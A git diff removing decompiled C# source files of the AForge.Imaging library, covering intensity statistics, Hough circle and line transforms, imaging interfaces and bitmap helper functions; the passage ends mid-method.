a/output/Libraries/AForge.Imaging/AForge/Imaging/HorizontalIntensityStatistics.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/HorizontalIntensityStatistics.cs deleted file mode 100644 index 3611f9d..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/HorizontalIntensityStatistics.cs +++ /dev/null @@ -1,244 +0,0 @@ -using System.Drawing; -using System.Drawing.Imaging; -using AForge.Math; - -namespace AForge.Imaging; - -public class HorizontalIntensityStatistics -{ - private Histogram red; - - private Histogram green; - - private Histogram blue; - - private Histogram gray; - - public Histogram Red - { - get - { - if (red == null) - { - throw new InvalidImagePropertiesException("Cannot access color histogram since the last processed image was grayscale."); - } - return red; - } - } - - public Histogram Green - { - get - { - if (green == null) - { - throw new InvalidImagePropertiesException("Cannot access color histogram since the last processed image was grayscale."); - } - return green; - } - } - - public Histogram Blue - { - get - { - if (blue == null) - { - throw new InvalidImagePropertiesException("Cannot access color histogram since the last processed image was grayscale."); - } - return blue; - } - } - - public Histogram Gray - { - get - { - if (gray == null) - { - throw new InvalidImagePropertiesException("Cannot access gray histogram since the last processed image was color."); - } - return gray; - } - } - - public bool IsGrayscale => gray != null; - - public HorizontalIntensityStatistics(Bitmap image) - { - //IL_0007: Unknown result type (might be due to invalid IL or missing references) - //IL_0011: Invalid comparison between Unknown and I4 - //IL_0082: Unknown result type (might be due to invalid IL or missing references) - //IL_0014: Unknown result type (might be due to invalid IL or missing references) - //IL_001e: Invalid comparison between Unknown and I4 - //IL_0021: Unknown result type (might be due to invalid IL or missing references) - //IL_002b: Invalid comparison between Unknown and I4 - //IL_002e: Unknown result type (might be due to invalid IL or missing references) - //IL_0038: Invalid comparison between Unknown and I4 - //IL_003b: Unknown result type (might be due to invalid IL or missing references) - //IL_0045: Invalid comparison between Unknown and I4 - //IL_0048: Unknown result type (might be due to invalid IL or missing references) - //IL_0052: Invalid comparison between Unknown and I4 - //IL_0055: Unknown result type (might be due to invalid IL or missing references) - //IL_005f: Invalid comparison between Unknown and I4 - if ((int)((Image)image).PixelFormat != 198659 && (int)((Image)image).PixelFormat != 1052676 && (int)((Image)image).PixelFormat != 137224 && (int)((Image)image).PixelFormat != 139273 && (int)((Image)image).PixelFormat != 2498570 && (int)((Image)image).PixelFormat != 1060876 && (int)((Image)image).PixelFormat != 3424269) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image."); - } - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - try - { - ProcessImage(new UnmanagedImage(val)); - } - finally - { - image.UnlockBits(val); - } - } - - public HorizontalIntensityStatistics(BitmapData imageData) - : this(new UnmanagedImage(imageData)) - { - } - - public HorizontalIntensityStatistics(UnmanagedImage image) - { - //IL_0007: Unknown result type (might be due to invalid IL or missing references) - //IL_0011: Invalid comparison between Unknown and I4 - //IL_0014: Unknown result type (might be due to invalid IL or missing references) - //IL_001e: Invalid comparison between Unknown and I4 - //IL_0021: Unknown result type (might be due to invalid IL or missing references) - //IL_002b: Invalid comparison between Unknown and I4 - //IL_002e: Unknown result type (might be due to invalid IL or missing references) - //IL_0038: Invalid comparison between Unknown and I4 - //IL_003b: Unknown result type (might be due to invalid IL or missing references) - //IL_0045: Invalid comparison between Unknown and I4 - //IL_0048: Unknown result type (might be due to invalid IL or missing references) - //IL_0052: Invalid comparison between Unknown and I4 - //IL_0055: Unknown result type (might be due to invalid IL or missing references) - //IL_005f: Invalid comparison between Unknown and I4 - if ((int)image.PixelFormat != 198659 && (int)image.PixelFormat != 1052676 && (int)image.PixelFormat != 137224 && (int)image.PixelFormat != 139273 && (int)image.PixelFormat != 2498570 && (int)image.PixelFormat != 1060876 && (int)image.PixelFormat != 3424269) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image."); - } - ProcessImage(image); - } - - private unsafe void ProcessImage(UnmanagedImage image) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Unknown result type (might be due to invalid IL or missing references) - //IL_003d: Unknown result type (might be due to invalid IL or missing references) - //IL_0043: Invalid comparison between Unknown and I4 - //IL_00b6: Unknown result type (might be due to invalid IL or missing references) - //IL_00bc: Invalid comparison between Unknown and I4 - //IL_0137: Unknown result type (might be due to invalid IL or missing references) - //IL_013d: Invalid comparison between Unknown and I4 - //IL_0163: Unknown result type (might be due to invalid IL or missing references) - //IL_0169: Invalid comparison between Unknown and I4 - //IL_013f: Unknown result type (might be due to invalid IL or missing references) - //IL_0145: Invalid comparison between Unknown and I4 - //IL_0147: Unknown result type (might be due to invalid IL or missing references) - //IL_014d: Invalid comparison between Unknown and I4 - //IL_023a: Unknown result type (might be due to invalid IL or missing references) - //IL_0240: Invalid comparison between Unknown and I4 - //IL_0266: Unknown result type (might be due to invalid IL or missing references) - //IL_026c: Invalid comparison between Unknown and I4 - //IL_0242: Unknown result type (might be due to invalid IL or missing references) - //IL_0248: Invalid comparison between Unknown and I4 - PixelFormat pixelFormat = image.PixelFormat; - int width = image.Width; - int height = image.Height; - red = (green = (blue = (gray = null))); - if ((int)pixelFormat == 198659) - { - byte* ptr = (byte*)image.ImageData.ToPointer(); - int num = image.Stride - width; - int[] array = new int[width]; - for (int i = 0; i < height; i++) - { - int num2 = 0; - while (num2 < width) - { - array[num2] += *ptr; - num2++; - ptr++; - } - ptr += num; - } - gray = new Histogram(array); - } - else if ((int)pixelFormat == 1052676) - { - byte* ptr2 = (byte*)image.ImageData.ToPointer(); - int stride = image.Stride; - int[] array2 = new int[width]; - for (int j = 0; j < height; j++) - { - ushort* ptr3 = (ushort*)(ptr2 + (nint)stride * (nint)j); - int num3 = 0; - while (num3 < width) - { - array2[num3] += *ptr3; - num3++; - ptr3++; - } - } - gray = new Histogram(array2); - } - else if ((int)pixelFormat == 137224 || (int)pixelFormat == 139273 || (int)pixelFormat == 2498570) - { - byte* ptr4 = (byte*)image.ImageData.ToPointer(); - int num4 = (((int)pixelFormat == 137224) ? 3 : 4); - int num5 = image.Stride - width * num4; - int[] array3 = new int[width]; - int[] array4 = new int[width]; - int[] array5 = new int[width]; - for (int k = 0; k < height; k++) - { - int num6 = 0; - while (num6 < width) - { - array3[num6] += ptr4[2]; - array4[num6] += ptr4[1]; - array5[num6] += *ptr4; - num6++; - ptr4 += num4; - } - ptr4 += num5; - } - red = new Histogram(array3); - green = new Histogram(array4); - blue = new Histogram(array5); - } - else - { - if ((int)pixelFormat != 1060876 && (int)pixelFormat != 3424269) - { - return; - } - byte* ptr5 = (byte*)image.ImageData.ToPointer(); - int stride2 = image.Stride; - int num7 = (((int)pixelFormat == 1060876) ? 3 : 4); - int[] array6 = new int[width]; - int[] array7 = new int[width]; - int[] array8 = new int[width]; - for (int l = 0; l < height; l++) - { - ushort* ptr6 = (ushort*)(ptr5 + (nint)stride2 * (nint)l); - int num8 = 0; - while (num8 < width) - { - array6[num8] += ptr6[2]; - array7[num8] += ptr6[1]; - array8[num8] += *ptr6; - num8++; - ptr6 += num7; - } - } - red = new Histogram(array6); - green = new Histogram(array7); - blue = new Histogram(array8); - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/HoughCircle.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/HoughCircle.cs deleted file mode 100644 index bf64102..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/HoughCircle.cs +++ /dev/null @@ -1,31 +0,0 @@ -using System; - -namespace AForge.Imaging; - -public class HoughCircle : IComparable -{ - public readonly int X; - - public readonly int Y; - - public readonly int Radius; - - public readonly short Intensity; - - public readonly double RelativeIntensity; - - public HoughCircle(int x, int y, int radius, short intensity, double relativeIntensity) - { - X = x; - Y = y; - Radius = radius; - Intensity = intensity; - RelativeIntensity = relativeIntensity; - } - - public int CompareTo(object value) - { - short intensity = Intensity; - return -intensity.CompareTo(((HoughCircle)value).Intensity); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/HoughCircleTransformation.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/HoughCircleTransformation.cs deleted file mode 100644 index 018f620..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/HoughCircleTransformation.cs +++ /dev/null @@ -1,277 +0,0 @@ -using System; -using System.Collections; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging; - -public class HoughCircleTransformation -{ - private int radiusToDetect; - - private short[,] houghMap; - - private short maxMapIntensity; - - private int width; - - private int height; - - private int localPeakRadius = 4; - - private short minCircleIntensity = 10; - - private ArrayList circles = new ArrayList(); - - public short MinCircleIntensity - { - get - { - return minCircleIntensity; - } - set - { - minCircleIntensity = value; - } - } - - public int LocalPeakRadius - { - get - { - return localPeakRadius; - } - set - { - localPeakRadius = System.Math.Max(1, System.Math.Min(10, value)); - } - } - - public short MaxIntensity => maxMapIntensity; - - public int CirclesCount => circles.Count; - - public HoughCircleTransformation(int radiusToDetect) - { - this.radiusToDetect = radiusToDetect; - } - - public void ProcessImage(Bitmap image) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - if ((int)((Image)image).PixelFormat != 198659) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image."); - } - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, (PixelFormat)198659); - try - { - ProcessImage(new UnmanagedImage(val)); - } - finally - { - image.UnlockBits(val); - } - } - - public void ProcessImage(BitmapData imageData) - { - ProcessImage(new UnmanagedImage(imageData)); - } - - public unsafe void ProcessImage(UnmanagedImage image) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - if ((int)image.PixelFormat != 198659) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image."); - } - width = image.Width; - height = image.Height; - int num = image.Stride - width; - houghMap = new short[height, width]; - byte* ptr = (byte*)image.ImageData.ToPointer(); - for (int i = 0; i < height; i++) - { - int num2 = 0; - while (num2 < width) - { - if (*ptr != 0) - { - DrawHoughCircle(num2, i); - } - num2++; - ptr++; - } - ptr += num; - } - maxMapIntensity = 0; - for (int j = 0; j < height; j++) - { - for (int k = 0; k < width; k++) - { - if (houghMap[j, k] > maxMapIntensity) - { - maxMapIntensity = houghMap[j, k]; - } - } - } - CollectCircles(); - } - - public unsafe Bitmap ToBitmap() - { - if (houghMap == null) - { - throw new ApplicationException("Hough transformation was not done yet."); - } - int length = houghMap.GetLength(1); - int length2 = houghMap.GetLength(0); - Bitmap val = Image.CreateGrayscaleImage(length, length2); - BitmapData val2 = val.LockBits(new Rectangle(0, 0, length, length2), (ImageLockMode)3, (PixelFormat)198659); - int num = val2.Stride - length; - float num2 = 255f / (float)maxMapIntensity; - byte* ptr = (byte*)val2.Scan0.ToPointer(); - for (int i = 0; i < length2; i++) - { - int num3 = 0; - while (num3 < length) - { - *ptr = (byte)System.Math.Min(255, (int)(num2 * (float)houghMap[i, num3])); - num3++; - ptr++; - } - ptr += num; - } - val.UnlockBits(val2); - return val; - } - - public HoughCircle[] GetMostIntensiveCircles(int count) - { - int num = System.Math.Min(count, circles.Count); - HoughCircle[] array = new HoughCircle[num]; - circles.CopyTo(0, array, 0, num); - return array; - } - - public HoughCircle[] GetCirclesByRelativeIntensity(double minRelativeIntensity) - { - int i = 0; - for (int count = circles.Count; i < count && ((HoughCircle)circles[i]).RelativeIntensity >= minRelativeIntensity; i++) - { - } - return GetMostIntensiveCircles(i); - } - - private void CollectCircles() - { - circles.Clear(); - for (int i = 0; i < height; i++) - { - for (int j = 0; j < width; j++) - { - short num = houghMap[i, j]; - if (num < minCircleIntensity) - { - continue; - } - bool flag = false; - int k = i - localPeakRadius; - for (int num2 = i + localPeakRadius; k < num2; k++) - { - if (k < 0) - { - continue; - } - if (flag || k >= height) - { - break; - } - int l = j - localPeakRadius; - for (int num3 = j + localPeakRadius; l < num3; l++) - { - if (l >= 0) - { - if (l >= width) - { - break; - } - if (houghMap[k, l] > num) - { - flag = true; - break; - } - } - } - } - if (!flag) - { - circles.Add(new HoughCircle(j, i, radiusToDetect, num, (double)num / (double)maxMapIntensity)); - } - } - } - circles.Sort(); - } - - private void DrawHoughCircle(int xCenter, int yCenter) - { - int num = 0; - int num2 = radiusToDetect; - int num3 = (5 - radiusToDetect * 4) / 4; - SetHoughCirclePoints(xCenter, yCenter, num, num2); - while (num < num2) - { - num++; - if (num3 < 0) - { - num3 += 2 * num + 1; - } - else - { - num2--; - num3 += 2 * (num - num2) + 1; - } - SetHoughCirclePoints(xCenter, yCenter, num, num2); - } - } - - private void SetHoughCirclePoints(int cx, int cy, int x, int y) - { - if (x == 0) - { - SetHoughPoint(cx, cy + y); - SetHoughPoint(cx, cy - y); - SetHoughPoint(cx + y, cy); - SetHoughPoint(cx - y, cy); - } - else if (x == y) - { - SetHoughPoint(cx + x, cy + y); - SetHoughPoint(cx - x, cy + y); - SetHoughPoint(cx + x, cy - y); - SetHoughPoint(cx - x, cy - y); - } - else if (x < y) - { - SetHoughPoint(cx + x, cy + y); - SetHoughPoint(cx - x, cy + y); - SetHoughPoint(cx + x, cy - y); - SetHoughPoint(cx - x, cy - y); - SetHoughPoint(cx + y, cy + x); - SetHoughPoint(cx - y, cy + x); - SetHoughPoint(cx + y, cy - x); - SetHoughPoint(cx - y, cy - x); - } - } - - private void SetHoughPoint(int x, int y) - { - if (x >= 0 && y >= 0 && x < width && y < height) - { - houghMap[y, x]++; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/HoughLine.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/HoughLine.cs deleted file mode 100644 index 81ccbc1..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/HoughLine.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; - -namespace AForge.Imaging; - -public class HoughLine : IComparable -{ - public readonly double Theta; - - public readonly short Radius; - - public readonly short Intensity; - - public readonly double RelativeIntensity; - - public HoughLine(double theta, short radius, short intensity, double relativeIntensity) - { - Theta = theta; - Radius = radius; - Intensity = intensity; - RelativeIntensity = relativeIntensity; - } - - public int CompareTo(object value) - { - short intensity = Intensity; - return -intensity.CompareTo(((HoughLine)value).Intensity); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/HoughLineTransformation.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/HoughLineTransformation.cs deleted file mode 100644 index 86bddb1..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/HoughLineTransformation.cs +++ /dev/null @@ -1,285 +0,0 @@ -using System; -using System.Collections; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging; - -public class HoughLineTransformation -{ - private int stepsPerDegree; - - private int houghHeight; - - private double thetaStep; - - private double[] sinMap; - - private double[] cosMap; - - private short[,] houghMap; - - private short maxMapIntensity; - - private int localPeakRadius = 4; - - private short minLineIntensity = 10; - - private ArrayList lines = new ArrayList(); - - public int StepsPerDegree - { - get - { - return stepsPerDegree; - } - set - { - stepsPerDegree = System.Math.Max(1, System.Math.Min(10, value)); - houghHeight = 180 * stepsPerDegree; - thetaStep = System.Math.PI / (double)houghHeight; - sinMap = new double[houghHeight]; - cosMap = new double[houghHeight]; - for (int i = 0; i < houghHeight; i++) - { - sinMap[i] = System.Math.Sin((double)i * thetaStep); - cosMap[i] = System.Math.Cos((double)i * thetaStep); - } - } - } - - public short MinLineIntensity - { - get - { - return minLineIntensity; - } - set - { - minLineIntensity = value; - } - } - - public int LocalPeakRadius - { - get - { - return localPeakRadius; - } - set - { - localPeakRadius = System.Math.Max(1, System.Math.Min(10, value)); - } - } - - public short MaxIntensity => maxMapIntensity; - - public int LinesCount => lines.Count; - - public HoughLineTransformation() - { - StepsPerDegree = 1; - } - - public void ProcessImage(Bitmap image) - { - ProcessImage(image, new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height)); - } - - public void ProcessImage(Bitmap image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - if ((int)((Image)image).PixelFormat != 198659) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image."); - } - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, (PixelFormat)198659); - try - { - ProcessImage(new UnmanagedImage(val), rect); - } - finally - { - image.UnlockBits(val); - } - } - - public void ProcessImage(BitmapData imageData) - { - ProcessImage(new UnmanagedImage(imageData), new Rectangle(0, 0, imageData.Width, imageData.Height)); - } - - public void ProcessImage(BitmapData imageData, Rectangle rect) - { - ProcessImage(new UnmanagedImage(imageData), rect); - } - - public void ProcessImage(UnmanagedImage image) - { - ProcessImage(image, new Rectangle(0, 0, image.Width, image.Height)); - } - - public unsafe void ProcessImage(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - if ((int)image.PixelFormat != 198659) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image."); - } - int width = image.Width; - int height = image.Height; - int num = width / 2; - int num2 = height / 2; - rect.Intersect(new Rectangle(0, 0, width, height)); - int num3 = -num + rect.Left; - int num4 = -num2 + rect.Top; - int num5 = width - num - (width - rect.Right); - int num6 = height - num2 - (height - rect.Bottom); - int num7 = image.Stride - rect.Width; - int num8 = (int)System.Math.Sqrt(num * num + num2 * num2); - int num9 = num8 * 2; - houghMap = new short[houghHeight, num9]; - byte* ptr = (byte*)image.ImageData.ToPointer() + (nint)rect.Top * (nint)image.Stride + rect.Left; - for (int i = num4; i < num6; i++) - { - int num10 = num3; - while (num10 < num5) - { - if (*ptr != 0) - { - for (int j = 0; j < houghHeight; j++) - { - int num11 = (int)System.Math.Round(cosMap[j] * (double)num10 - sinMap[j] * (double)i) + num8; - if (num11 >= 0 && num11 < num9) - { - houghMap[j, num11]++; - } - } - } - num10++; - ptr++; - } - ptr += num7; - } - maxMapIntensity = 0; - for (int k = 0; k < houghHeight; k++) - { - for (int l = 0; l < num9; l++) - { - if (houghMap[k, l] > maxMapIntensity) - { - maxMapIntensity = houghMap[k, l]; - } - } - } - CollectLines(); - } - - public unsafe Bitmap ToBitmap() - { - if (houghMap == null) - { - throw new ApplicationException("Hough transformation was not done yet."); - } - int length = houghMap.GetLength(1); - int length2 = houghMap.GetLength(0); - Bitmap val = Image.CreateGrayscaleImage(length, length2); - BitmapData val2 = val.LockBits(new Rectangle(0, 0, length, length2), (ImageLockMode)3, (PixelFormat)198659); - int num = val2.Stride - length; - float num2 = 255f / (float)maxMapIntensity; - byte* ptr = (byte*)val2.Scan0.ToPointer(); - for (int i = 0; i < length2; i++) - { - int num3 = 0; - while (num3 < length) - { - *ptr = (byte)System.Math.Min(255, (int)(num2 * (float)houghMap[i, num3])); - num3++; - ptr++; - } - ptr += num; - } - val.UnlockBits(val2); - return val; - } - - public HoughLine[] GetMostIntensiveLines(int count) - { - int num = System.Math.Min(count, lines.Count); - HoughLine[] array = new HoughLine[num]; - lines.CopyTo(0, array, 0, num); - return array; - } - - public HoughLine[] GetLinesByRelativeIntensity(double minRelativeIntensity) - { - int i = 0; - for (int count = lines.Count; i < count && ((HoughLine)lines[i]).RelativeIntensity >= minRelativeIntensity; i++) - { - } - return GetMostIntensiveLines(i); - } - - private void CollectLines() - { - int length = houghMap.GetLength(0); - int length2 = houghMap.GetLength(1); - int num = length2 >> 1; - lines.Clear(); - for (int i = 0; i < length; i++) - { - for (int j = 0; j < length2; j++) - { - short num2 = houghMap[i, j]; - if (num2 < minLineIntensity) - { - continue; - } - bool flag = false; - int k = i - localPeakRadius; - for (int num3 = i + localPeakRadius; k < num3; k++) - { - if (flag) - { - break; - } - int num4 = k; - int num5 = j; - if (num4 < 0) - { - num4 = length + num4; - num5 = length2 - num5; - } - if (num4 >= length) - { - num4 -= length; - num5 = length2 - num5; - } - int l = num5 - localPeakRadius; - for (int num6 = num5 + localPeakRadius; l < num6; l++) - { - if (l >= 0) - { - if (l >= length2) - { - break; - } - if (houghMap[num4, l] > num2) - { - flag = true; - break; - } - } - } - } - if (!flag) - { - lines.Add(new HoughLine((double)i / (double)stepsPerDegree, (short)(j - num), num2, (double)num2 / (double)maxMapIntensity)); - } - } - } - lines.Sort(); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/IBlobsFilter.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/IBlobsFilter.cs deleted file mode 100644 index ccd6ecc..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/IBlobsFilter.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace AForge.Imaging; - -public interface IBlobsFilter -{ - bool Check(Blob blob); -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/IBlockMatching.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/IBlockMatching.cs deleted file mode 100644 index bc8cf04..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/IBlockMatching.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging; - -public interface IBlockMatching -{ - List ProcessImage(Bitmap sourceImage, List coordinates, Bitmap searchImage); - - List ProcessImage(BitmapData sourceImageData, List coordinates, BitmapData searchImageData); - - List ProcessImage(UnmanagedImage sourceImage, List coordinates, UnmanagedImage searchImage); -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ICornersDetector.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ICornersDetector.cs deleted file mode 100644 index 814fe3c..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ICornersDetector.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging; - -public interface ICornersDetector -{ - List ProcessImage(Bitmap image); - - List ProcessImage(BitmapData imageData); - - List ProcessImage(UnmanagedImage image); -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ITemplateMatching.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ITemplateMatching.cs deleted file mode 100644 index 4af1e03..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ITemplateMatching.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging; - -public interface ITemplateMatching -{ - TemplateMatch[] ProcessImage(Bitmap image, Bitmap template, Rectangle searchZone); - - TemplateMatch[] ProcessImage(BitmapData imageData, BitmapData templateData, Rectangle searchZone); - - TemplateMatch[] ProcessImage(UnmanagedImage image, UnmanagedImage template, Rectangle searchZone); -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Image.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Image.cs deleted file mode 100644 index a50c505..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Image.cs +++ /dev/null @@ -1,348 +0,0 @@ -using System; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; - -namespace AForge.Imaging; - -public static class Image -{ - public static bool IsGrayscale(Bitmap image) - { - //IL_0003: Unknown result type (might be due to invalid IL or missing references) - //IL_000d: Invalid comparison between Unknown and I4 - bool result = false; - if ((int)((Image)image).PixelFormat == 198659) - { - result = true; - ColorPalette palette = ((Image)image).Palette; - for (int i = 0; i < 256; i++) - { - Color color = palette.Entries[i]; - if (color.R != i || color.G != i || color.B != i) - { - result = false; - break; - } - } - } - return result; - } - - public static Bitmap CreateGrayscaleImage(int width, int height) - { - //IL_0007: Unknown result type (might be due to invalid IL or missing references) - //IL_000d: Expected O, but got Unknown - Bitmap val = new Bitmap(width, height, (PixelFormat)198659); - SetGrayscalePalette(val); - return val; - } - - public static void SetGrayscalePalette(Bitmap image) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - if ((int)((Image)image).PixelFormat != 198659) - { - throw new UnsupportedImageFormatException("Source image is not 8 bpp image."); - } - ColorPalette palette = ((Image)image).Palette; - for (int i = 0; i < 256; i++) - { - ref Color reference = ref palette.Entries[i]; - reference = Color.FromArgb(i, i, i); - } - ((Image)image).Palette = palette; - } - - public static Bitmap Clone(Bitmap source, PixelFormat format) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Unknown result type (might be due to invalid IL or missing references) - //IL_0020: Unknown result type (might be due to invalid IL or missing references) - //IL_0021: Unknown result type (might be due to invalid IL or missing references) - //IL_0027: Expected O, but got Unknown - if (((Image)source).PixelFormat == format) - { - return Clone(source); - } - int width = ((Image)source).Width; - int height = ((Image)source).Height; - Bitmap val = new Bitmap(width, height, format); - Graphics val2 = Graphics.FromImage((Image)(object)val); - val2.DrawImage((Image)(object)source, 0, 0, width, height); - val2.Dispose(); - return val; - } - - public static Bitmap Clone(Bitmap source) - { - //IL_0016: Unknown result type (might be due to invalid IL or missing references) - //IL_0030: Unknown result type (might be due to invalid IL or missing references) - //IL_003a: Invalid comparison between Unknown and I4 - //IL_003d: Unknown result type (might be due to invalid IL or missing references) - //IL_0047: Invalid comparison between Unknown and I4 - //IL_004a: Unknown result type (might be due to invalid IL or missing references) - //IL_0054: Invalid comparison between Unknown and I4 - //IL_0057: Unknown result type (might be due to invalid IL or missing references) - //IL_0061: Invalid comparison between Unknown and I4 - BitmapData val = source.LockBits(new Rectangle(0, 0, ((Image)source).Width, ((Image)source).Height), (ImageLockMode)1, ((Image)source).PixelFormat); - Bitmap val2 = Clone(val); - source.UnlockBits(val); - if ((int)((Image)source).PixelFormat == 196865 || (int)((Image)source).PixelFormat == 197634 || (int)((Image)source).PixelFormat == 198659 || (int)((Image)source).PixelFormat == 65536) - { - ColorPalette palette = ((Image)source).Palette; - ColorPalette palette2 = ((Image)val2).Palette; - int num = palette.Entries.Length; - for (int i = 0; i < num; i++) - { - ref Color reference = ref palette2.Entries[i]; - reference = palette.Entries[i]; - } - ((Image)val2).Palette = palette2; - } - return val2; - } - - public static Bitmap Clone(BitmapData sourceData) - { - //IL_0011: Unknown result type (might be due to invalid IL or missing references) - //IL_0016: Unknown result type (might be due to invalid IL or missing references) - //IL_001c: Expected O, but got Unknown - //IL_0028: Unknown result type (might be due to invalid IL or missing references) - int width = sourceData.Width; - int height = sourceData.Height; - Bitmap val = new Bitmap(width, height, sourceData.PixelFormat); - BitmapData val2 = val.LockBits(new Rectangle(0, 0, width, height), (ImageLockMode)3, ((Image)val).PixelFormat); - SystemTools.CopyUnmanagedMemory(val2.Scan0, sourceData.Scan0, height * sourceData.Stride); - val.UnlockBits(val2); - return val; - } - - [Obsolete("Use Clone(Bitmap, PixelFormat) method instead and specify desired pixel format")] - public static void FormatImage(ref Bitmap image) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_000c: Invalid comparison between Unknown and I4 - //IL_0010: Unknown result type (might be due to invalid IL or missing references) - //IL_001a: Invalid comparison between Unknown and I4 - //IL_001e: Unknown result type (might be due to invalid IL or missing references) - //IL_0028: Invalid comparison between Unknown and I4 - //IL_002c: Unknown result type (might be due to invalid IL or missing references) - //IL_0036: Invalid comparison between Unknown and I4 - //IL_003a: Unknown result type (might be due to invalid IL or missing references) - //IL_0044: Invalid comparison between Unknown and I4 - //IL_0048: Unknown result type (might be due to invalid IL or missing references) - //IL_0052: Invalid comparison between Unknown and I4 - if ((int)((Image)image).PixelFormat != 137224 && (int)((Image)image).PixelFormat != 139273 && (int)((Image)image).PixelFormat != 2498570 && (int)((Image)image).PixelFormat != 1060876 && (int)((Image)image).PixelFormat != 3424269 && (int)((Image)image).PixelFormat != 1052676 && !IsGrayscale(image)) - { - Bitmap val = image; - image = Clone(val, (PixelFormat)137224); - ((Image)val).Dispose(); - } - } - - public static Bitmap FromFile(string fileName) - { - //IL_0041: Unknown result type (might be due to invalid IL or missing references) - //IL_0047: Expected O, but got Unknown - Bitmap val = null; - FileStream fileStream = null; - try - { - fileStream = File.OpenRead(fileName); - MemoryStream memoryStream = new MemoryStream(); - byte[] buffer = new byte[10000]; - while (true) - { - int num = fileStream.Read(buffer, 0, 10000); - if (num == 0) - { - break; - } - memoryStream.Write(buffer, 0, num); - } - return (Bitmap)Image.FromStream((Stream)memoryStream); - } - finally - { - if (fileStream != null) - { - fileStream.Close(); - fileStream.Dispose(); - } - } - } - - public unsafe static Bitmap Convert16bppTo8bpp(Bitmap bimap) - { - //IL_0013: Unknown result type (might be due to invalid IL or missing references) - //IL_0018: Unknown result type (might be due to invalid IL or missing references) - //IL_001a: Unknown result type (might be due to invalid IL or missing references) - //IL_0021: Invalid comparison between Unknown and I4 - //IL_0037: Unknown result type (might be due to invalid IL or missing references) - //IL_003e: Invalid comparison between Unknown and I4 - //IL_0023: Unknown result type (might be due to invalid IL or missing references) - //IL_002a: Invalid comparison between Unknown and I4 - //IL_0080: Unknown result type (might be due to invalid IL or missing references) - //IL_0086: Expected O, but got Unknown - //IL_0040: Unknown result type (might be due to invalid IL or missing references) - //IL_0047: Invalid comparison between Unknown and I4 - //IL_002c: Unknown result type (might be due to invalid IL or missing references) - //IL_0033: Invalid comparison between Unknown and I4 - //IL_00a1: Unknown result type (might be due to invalid IL or missing references) - //IL_00b9: Unknown result type (might be due to invalid IL or missing references) - //IL_006f: Unknown result type (might be due to invalid IL or missing references) - //IL_0075: Expected O, but got Unknown - //IL_005e: Unknown result type (might be due to invalid IL or missing references) - //IL_0064: Expected O, but got Unknown - Bitmap val = null; - int num = 0; - int width = ((Image)bimap).Width; - int height = ((Image)bimap).Height; - PixelFormat pixelFormat = ((Image)bimap).PixelFormat; - if ((int)pixelFormat <= 1060876) - { - if ((int)pixelFormat != 